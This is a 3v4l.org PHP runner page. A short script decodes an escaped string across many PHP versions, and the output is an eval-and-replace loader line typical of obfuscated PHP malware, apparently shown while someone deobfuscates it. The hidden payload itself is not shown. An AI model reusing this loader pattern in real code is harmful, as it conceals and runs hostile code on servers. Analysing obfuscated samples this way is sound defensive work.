3v4l.org

run code in 300+ PHP versions simultaneously
<?php echo "\x65\166\x61\154\x28\160\x72\145\x67\137\x72\145\x70\154\x61\143\x65\50\x22\57\x23\57\x22\54\x20\42\x5c\170\x32\67\x22\54\x20\44\x74\71\x65\51\x29\73"; ?>
Output for 5.3.0 - 5.3.29, 5.4.0 - 5.4.45, 5.5.24 - 5.5.35, 5.6.8 - 5.6.28, 7.0.0 - 7.0.20, 7.1.0 - 7.1.10, 7.2.0 - 7.2.33, 7.3.12 - 7.3.33, 7.4.0 - 7.4.33, 8.0.0 - 8.0.30, 8.1.0 - 8.1.28, 8.2.0 - 8.2.18, 8.3.0 - 8.3.6
eval(preg_replace("/#/", "\x27", $t9e));

preferences:
182.67 ms | 404 KiB | 258 Q